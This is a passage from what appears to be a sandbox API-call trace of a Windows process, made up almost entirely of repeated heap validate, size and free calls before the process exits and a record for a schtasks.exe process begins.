hHeap=0x150000, dwFlags=0x0, lpMem=0x16ba70 | out: hHeap=0x150000) returned 1 [0128.964] GetProcessHeap () returned 0x150000 [0128.964] GetProcessHeap () returned 0x150000 [0128.964] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16cb10) returned 1 [0128.964] GetProcessHeap () returned 0x150000 [0128.964] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16cb10) returned 0x20 [0128.965] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16cb10 | out: hHeap=0x150000) returned 1 [0128.965] GetProcessHeap () returned 0x150000 [0128.965] GetProcessHeap () returned 0x150000 [0128.965] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16c250) returned 1 [0128.965] GetProcessHeap () returned 0x150000 [0128.965] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16c250) returned 0x60 [0128.966] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16c250 | out: hHeap=0x150000) returned 1 [0128.966] GetProcessHeap () returned 0x150000 [0128.966] GetProcessHeap () returned 0x150000 [0128.966] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16d560) returned 1 [0128.966] GetProcessHeap () returned 0x150000 [0128.966] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16d560) returned 0x18 [0128.966] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16d560 | out: hHeap=0x150000) returned 1 [0128.966] GetProcessHeap () returned 0x150000 [0128.966] GetProcessHeap () returned 0x150000 [0128.966] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16cae0) returned 1 [0128.966] GetProcessHeap () returned 0x150000 [0128.966] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16cae0) returned 0x20 [0128.966] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16cae0 | out: hHeap=0x150000) returned 1 [0128.966] GetProcessHeap () returned 0x150000 [0128.966] GetProcessHeap () returned 0x150000 [0128.966] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16dcf0) returned 1 [0128.966] GetProcessHeap () returned 0x150000 [0128.966] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16dcf0) returned 0x62 [0128.967] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16dcf0 | out: hHeap=0x150000) returned 1 [0128.967] GetProcessHeap () returned 0x150000 [0128.967] GetProcessHeap () returned 0x150000 [0128.967] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16d520) returned 1 [0128.967] GetProcessHeap () returned 0x150000 [0128.967] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16d520) returned 0x18 [0128.967] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16d520 | out: hHeap=0x150000) returned 1 [0128.967] GetProcessHeap () returned 0x150000 [0128.967] GetProcessHeap () returned 0x150000 [0128.967] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16cab0) returned 1 [0128.967] GetProcessHeap () returned 0x150000 [0128.967] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16cab0) returned 0x20 [0128.968] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16cab0 | out: hHeap=0x150000) returned 1 [0128.968] GetProcessHeap () returned 0x150000 [0128.968] GetProcessHeap () returned 0x150000 [0128.968] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16d500) returned 1 [0128.968] GetProcessHeap () returned 0x150000 [0128.968] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16d500) returned 0xe [0128.968] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16d500 | out: hHeap=0x150000) returned 1 [0128.968] GetProcessHeap () returned 0x150000 [0128.968] GetProcessHeap () returned 0x150000 [0128.968] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16d4e0) returned 1 [0128.968] GetProcessHeap () returned 0x150000 [0128.968] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16d4e0) returned 0x18 [0128.968] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16d4e0 | out: hHeap=0x150000) returned 1 [0128.968] GetProcessHeap () returned 0x150000 [0128.968] GetProcessHeap () returned 0x150000 [0128.968] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x165d50) returned 1 [0128.968] GetProcessHeap () returned 0x150000 [0128.968] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x165d50) returned 0x20 [0128.969] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x165d50 | out: hHeap=0x150000) returned 1 [0128.969] GetProcessHeap () returned 0x150000 [0128.969] GetProcessHeap () returned 0x150000 [0128.969] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16bbf0) returned 1 [0128.969] GetProcessHeap () returned 0x150000 [0128.969] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16bbf0) returned 0x208 [0128.969] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16bbf0 | out: hHeap=0x150000) returned 1 [0128.969] GetProcessHeap () returned 0x150000 [0128.969] GetProcessHeap () returned 0x150000 [0128.969] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16ba50) returned 1 [0128.969] GetProcessHeap () returned 0x150000 [0128.969] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16ba50) returned 0x18 [0128.969] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16ba50 | out: hHeap=0x150000) returned 1 [0128.969] GetProcessHeap () returned 0x150000 [0128.969] GetProcessHeap () returned 0x150000 [0128.969] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x165c60) returned 1 [0128.970] GetProcessHeap () returned 0x150000 [0128.970] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x165c60) returned 0x20 [0128.970] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x165c60 | out: hHeap=0x150000) returned 1 [0128.970] GetProcessHeap () returned 0x150000 [0128.970] GetProcessHeap () returned 0x150000 [0128.970] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16d280) returned 1 [0128.970] GetProcessHeap () returned 0x150000 [0128.970] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16d280) returned 0x200 [0128.970] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16d280 | out: hHeap=0x150000) returned 1 [0128.970] GetProcessHeap () returned 0x150000 [0128.970] GetProcessHeap () returned 0x150000 [0128.970] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16ba90) returned 1 [0128.970] GetProcessHeap () returned 0x150000 [0128.971] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16ba90) returned 0x18 [0128.971] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16ba90 | out: hHeap=0x150000) returned 1 [0128.971] GetProcessHeap () returned 0x150000 [0128.971] GetProcessHeap () returned 0x150000 [0128.971] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x165bd0) returned 1 [0128.971] GetProcessHeap () returned 0x150000 [0128.971] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x165bd0) returned 0x20 [0128.971] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x165bd0 | out: hHeap=0x150000) returned 1 [0128.971] GetProcessHeap () returned 0x150000 [0128.971] GetProcessHeap () returned 0x150000 [0128.971] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16c200) returned 1 [0128.971] GetProcessHeap () returned 0x150000 [0128.971] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16c200) returned 0x14 [0128.971] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16c200 | out: hHeap=0x150000) returned 1 [0128.971] GetProcessHeap () returned 0x150000 [0128.971] GetProcessHeap () returned 0x150000 [0128.971] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16c1e0) returned 1 [0128.971] GetProcessHeap () returned 0x150000 [0128.971] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16c1e0) returned 0x18 [0128.971] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16c1e0 | out: hHeap=0x150000) returned 1 [0128.971] GetProcessHeap () returned 0x150000 [0128.972] GetProcessHeap () returned 0x150000 [0128.972] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x165b10) returned 1 [0128.972] GetProcessHeap () returned 0x150000 [0128.972] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x165b10) returned 0x20 [0128.972] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x165b10 | out: hHeap=0x150000) returned 1 [0128.972] GetProcessHeap () returned 0x150000 [0128.972] GetProcessHeap () returned 0x150000 [0128.972] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16c220) returned 1 [0128.972] GetProcessHeap () returned 0x150000 [0128.972] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16c220) returned 0x16 [0128.972] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16c220 | out: hHeap=0x150000) returned 1 [0128.972] GetProcessHeap () returned 0x150000 [0128.972] GetProcessHeap () returned 0x150000 [0128.973] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16c1a0) returned 1 [0128.973] GetProcessHeap () returned 0x150000 [0128.973] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16c1a0) returned 0x18 [0128.973] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16c1a0 | out: hHeap=0x150000) returned 1 [0128.973] GetProcessHeap () returned 0x150000 [0128.973] GetProcessHeap () returned 0x150000 [0128.973] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x165ae0) returned 1 [0128.973] GetProcessHeap () returned 0x150000 [0128.973] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x165ae0) returned 0x20 [0128.973] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x165ae0 | out: hHeap=0x150000) returned 1 [0128.973] GetProcessHeap () returned 0x150000 [0128.973] GetProcessHeap () returned 0x150000 [0128.973] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16b9d0) returned 1 [0128.973] GetProcessHeap () returned 0x150000 [0128.974] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16b9d0) returned 0x2 [0128.974] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16b9d0 | out: hHeap=0x150000) returned 1 [0128.974] GetProcessHeap () returned 0x150000 [0128.974] GetProcessHeap () returned 0x150000 [0128.974] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x165930) returned 1 [0128.974] GetProcessHeap () returned 0x150000 [0128.974] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x165930) returned 0x20 [0128.974] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x165930 | out: hHeap=0x150000) returned 1 [0128.974] GetProcessHeap () returned 0x150000 [0128.974] GetProcessHeap () returned 0x150000 [0128.974] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x165960) returned 1 [0128.974] GetProcessHeap () returned 0x150000 [0128.974] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x165960) returned 0x20 [0128.975] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x165960 | out: hHeap=0x150000) returned 1 [0128.975] GetProcessHeap () returned 0x150000 [0128.975] GetProcessHeap () returned 0x150000 [0128.975] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x165990) returned 1 [0128.975] GetProcessHeap () returned 0x150000 [0128.975] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x165990) returned 0x20 [0128.975] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x165990 | out: hHeap=0x150000) returned 1 [0128.975] GetProcessHeap () returned 0x150000 [0128.975] GetProcessHeap () returned 0x150000 [0128.975] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x1659c0) returned 1 [0128.975] GetProcessHeap () returned 0x150000 [0128.975] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x1659c0) returned 0x20 [0128.975] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1659c0 | out: hHeap=0x150000) returned 1 [0128.976] GetProcessHeap () returned 0x150000 [0128.976] GetProcessHeap () returned 0x150000 [0128.976] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16cb40) returned 1 [0128.976] GetProcessHeap () returned 0x150000 [0128.976] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16cb40) returned 0x20 [0128.976] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16cb40 | out: hHeap=0x150000) returned 1 [0128.976] GetProcessHeap () returned 0x150000 [0128.976] GetProcessHeap () returned 0x150000 [0128.976] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16d660) returned 1 [0128.976] GetProcessHeap () returned 0x150000 [0128.976] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16d660) returned 0xe [0128.976] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16d660 | out: hHeap=0x150000) returned 1 [0128.976] GetProcessHeap () returned 0x150000 [0128.976] GetProcessHeap () returned 0x150000 [0128.976] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16cb70) returned 1 [0128.976] GetProcessHeap () returned 0x150000 [0128.976] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16cb70) returned 0x20 [0128.977] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16cb70 | out: hHeap=0x150000) returned 1 [0128.977] GetProcessHeap () returned 0x150000 [0128.977] GetProcessHeap () returned 0x150000 [0128.977] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x167a50) returned 1 [0128.977] GetProcessHeap () returned 0x150000 [0128.977] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x167a50) returned 0x30 [0128.977] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x167a50 | out: hHeap=0x150000) returned 1 [0128.977] GetProcessHeap () returned 0x150000 [0128.977] GetProcessHeap () returned 0x150000 [0128.977] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16cba0) returned 1 [0128.977] GetProcessHeap () returned 0x150000 [0128.977] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16cba0) returned 0x20 [0128.978] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16cba0 | out: hHeap=0x150000) returned 1 [0128.978] GetProcessHeap () returned 0x150000 [0128.978] GetProcessHeap () returned 0x150000 [0128.978] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x167a90) returned 1 [0128.978] GetProcessHeap () returned 0x150000 [0128.978] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x167a90) returned 0x30 [0128.978] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x167a90 | out: hHeap=0x150000) returned 1 [0128.978] GetProcessHeap () returned 0x150000 [0128.978] GetProcessHeap () returned 0x150000 [0128.978] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16cd50) returned 1 [0128.978] GetProcessHeap () returned 0x150000 [0128.978] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16cd50) returned 0x20 [0128.979] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16cd50 | out: hHeap=0x150000) returned 1 [0128.979] GetProcessHeap () returned 0x150000 [0128.979] GetProcessHeap () returned 0x150000 [0128.979] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16d580) returned 1 [0128.979] GetProcessHeap () returned 0x150000 [0128.979] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16d580) returned 0xe [0128.979] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16d580 | out: hHeap=0x150000) returned 1 [0128.979] GetProcessHeap () returned 0x150000 [0128.979] GetProcessHeap () returned 0x150000 [0128.979] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16cd20) returned 1 [0128.979] GetProcessHeap () returned 0x150000 [0128.979] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16cd20) returned 0x20 [0128.979] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16cd20 | out: hHeap=0x150000) returned 1 [0128.979] GetProcessHeap () returned 0x150000 [0128.979] GetProcessHeap () returned 0x150000 [0128.979] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16d5a0) returned 1 [0128.979] GetProcessHeap () returned 0x150000 [0128.980] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16d5a0) returned 0x16 [0128.980] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16d5a0 | out: hHeap=0x150000) returned 1 [0128.980] GetProcessHeap () returned 0x150000 [0128.980] GetProcessHeap () returned 0x150000 [0128.980] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16ccf0) returned 1 [0128.980] GetProcessHeap () returned 0x150000 [0128.980] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16ccf0) returned 0x20 [0128.980] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16ccf0 | out: hHeap=0x150000) returned 1 [0128.980] GetProcessHeap () returned 0x150000 [0128.980] GetProcessHeap () returned 0x150000 [0128.980] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16d5c0) returned 1 [0128.980] GetProcessHeap () returned 0x150000 [0128.980] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16d5c0) returned 0x16 [0128.980] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16d5c0 | out: hHeap=0x150000) returned 1 [0128.980] GetProcessHeap () returned 0x150000 [0128.980] GetProcessHeap () returned 0x150000 [0128.980] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16ccc0) returned 1 [0128.980] GetProcessHeap () returned 0x150000 [0128.980] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16ccc0) returned 0x20 [0128.981] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16ccc0 | out: hHeap=0x150000) returned 1 [0128.981] GetProcessHeap () returned 0x150000 [0128.981] GetProcessHeap () returned 0x150000 [0128.981] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x189b00) returned 1 [0128.981] GetProcessHeap () returned 0x150000 [0128.981] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x189b00) returned 0x82 [0128.982] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x189b00 | out: hHeap=0x150000) returned 1 [0128.982] GetProcessHeap () returned 0x150000 [0128.982] GetProcessHeap () returned 0x150000 [0128.982] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16cc90) returned 1 [0128.982] GetProcessHeap () returned 0x150000 [0128.982] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16cc90) returned 0x20 [0128.982] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16cc90 | out: hHeap=0x150000) returned 1 [0128.982] GetProcessHeap () returned 0x150000 [0128.982] GetProcessHeap () returned 0x150000 [0128.982] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16d600) returned 1 [0128.982] GetProcessHeap () returned 0x150000 [0128.982] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16d600) returned 0xe [0128.982] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16d600 | out: hHeap=0x150000) returned 1 [0128.982] GetProcessHeap () returned 0x150000 [0128.983] GetProcessHeap () returned 0x150000 [0128.983] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16cc60) returned 1 [0128.983] GetProcessHeap () returned 0x150000 [0128.983] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16cc60) returned 0x20 [0128.983] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16cc60 | out: hHeap=0x150000) returned 1 [0128.983] GetProcessHeap () returned 0x150000 [0128.983] GetProcessHeap () returned 0x150000 [0128.983] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16d620) returned 1 [0128.983] GetProcessHeap () returned 0x150000 [0128.983] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16d620) returned 0xa [0128.983] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16d620 | out: hHeap=0x150000) returned 1 [0128.983] GetProcessHeap () returned 0x150000 [0128.983] GetProcessHeap () returned 0x150000 [0128.983] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16cc30) returned 1 [0128.983] GetProcessHeap () returned 0x150000 [0128.983] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16cc30) returned 0x20 [0128.984] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16cc30 | out: hHeap=0x150000) returned 1 [0128.984] GetProcessHeap () returned 0x150000 [0128.984] GetProcessHeap () returned 0x150000 [0128.984] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16d640) returned 1 [0128.984] GetProcessHeap () returned 0x150000 [0128.984] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16d640) returned 0xc [0128.984] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16d640 | out: hHeap=0x150000) returned 1 [0128.984] GetProcessHeap () returned 0x150000 [0128.984] GetProcessHeap () returned 0x150000 [0128.984] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16cc00) returned 1 [0128.984] GetProcessHeap () returned 0x150000 [0128.984] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16cc00) returned 0x20 [0128.984] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16cc00 | out: hHeap=0x150000) returned 1 [0128.984] GetProcessHeap () returned 0x150000 [0128.984] GetProcessHeap () returned 0x150000 [0128.984] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16b9f0) returned 1 [0128.984] GetProcessHeap () returned 0x150000 [0128.985] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16b9f0) returned 0x18 [0128.985] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16b9f0 | out: hHeap=0x150000) returned 1 [0128.985] GetProcessHeap () returned 0x150000 [0128.985] GetProcessHeap () returned 0x150000 [0128.985] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x1659f0) returned 1 [0128.985] GetProcessHeap () returned 0x150000 [0128.985] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x1659f0) returned 0x20 [0128.985] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1659f0 | out: hHeap=0x150000) returned 1 [0128.985] GetProcessHeap () returned 0x150000 [0128.985] GetProcessHeap () returned 0x150000 [0128.985] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x165a20) returned 1 [0128.985] GetProcessHeap () returned 0x150000 [0128.985] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x165a20) returned 0x20 [0128.986] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x165a20 | out: hHeap=0x150000) returned 1 [0128.986] GetProcessHeap () returned 0x150000 [0128.986] GetProcessHeap () returned 0x150000 [0128.986] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x165a50) returned 1 [0128.986] GetProcessHeap () returned 0x150000 [0128.986] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x165a50) returned 0x20 [0128.986] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x165a50 | out: hHeap=0x150000) returned 1 [0128.986] GetProcessHeap () returned 0x150000 [0128.986] GetProcessHeap () returned 0x150000 [0128.986] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x165a80) returned 1 [0128.986] GetProcessHeap () returned 0x150000 [0128.986] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x165a80) returned 0x20 [0128.987] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x165a80 | out: hHeap=0x150000) returned 1 [0128.987] GetProcessHeap () returned 0x150000 [0128.987] GetProcessHeap () returned 0x150000 [0128.987] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16ba10) returned 1 [0128.987] GetProcessHeap () returned 0x150000 [0128.987] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16ba10) returned 0x18 [0128.987] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16ba10 | out: hHeap=0x150000) returned 1 [0128.987] GetProcessHeap () returned 0x150000 [0128.987] GetProcessHeap () returned 0x150000 [0128.987] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x165ab0) returned 1 [0128.987] GetProcessHeap () returned 0x150000 [0128.987] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x165ab0) returned 0x20 [0128.987] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x165ab0 | out: hHeap=0x150000) returned 1 [0128.987] GetProcessHeap () returned 0x150000 [0128.987] GetProcessHeap () returned 0x150000 [0128.987] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x165b40) returned 1 [0128.988] GetProcessHeap () returned 0x150000 [0128.988] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x165b40) returned 0x20 [0128.988] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x165b40 | out: hHeap=0x150000) returned 1 [0128.988] GetProcessHeap () returned 0x150000 [0128.988] GetProcessHeap () returned 0x150000 [0128.988] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x165ba0) returned 1 [0128.988] GetProcessHeap () returned 0x150000 [0128.988] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x165ba0) returned 0x20 [0128.988] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x165ba0 | out: hHeap=0x150000) returned 1 [0128.988] GetProcessHeap () returned 0x150000 [0128.988] GetProcessHeap () returned 0x150000 [0128.988] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x165c00) returned 1 [0128.988] GetProcessHeap () returned 0x150000 [0128.990] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x165c00) returned 0x20 [0128.990] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x165c00 | out: hHeap=0x150000) returned 1 [0128.990] GetProcessHeap () returned 0x150000 [0128.990] GetProcessHeap () returned 0x150000 [0128.990] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x165c30) returned 1 [0128.990] GetProcessHeap () returned 0x150000 [0128.991] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x165c30) returned 0x20 [0128.991] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x165c30 | out: hHeap=0x150000) returned 1 [0128.991] GetProcessHeap () returned 0x150000 [0128.991] GetProcessHeap () returned 0x150000 [0128.991] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16ba30) returned 1 [0128.991] GetProcessHeap () returned 0x150000 [0128.991] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16ba30) returned 0x18 [0128.991] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16ba30 | out: hHeap=0x150000) returned 1 [0128.991] GetProcessHeap () returned 0x150000 [0128.991] GetProcessHeap () returned 0x150000 [0128.991] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x165b70) returned 1 [0128.991] GetProcessHeap () returned 0x150000 [0128.991] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x165b70) returned 0x20 [0128.992] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x165b70 | out: hHeap=0x150000) returned 1 [0128.992] GetProcessHeap () returned 0x150000 [0128.992] GetProcessHeap () returned 0x150000 [0128.992] HeapValidate (hHeap=0x150000, dwFlags=0x0, lpMem=0x16b9b0) returned 1 [0128.992] GetProcessHeap () returned 0x150000 [0128.992] RtlSizeHeap (HeapHandle=0x150000, Flags=0x0, MemoryPointer=0x16b9b0) returned 0x18 [0128.992] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x16b9b0 | out: hHeap=0x150000) returned 1 [0128.992] exit (_Code=0) Thread: id = 104 os_tid = 0xeb8 Process: id = "9" image_name = "schtasks.exe" filename = 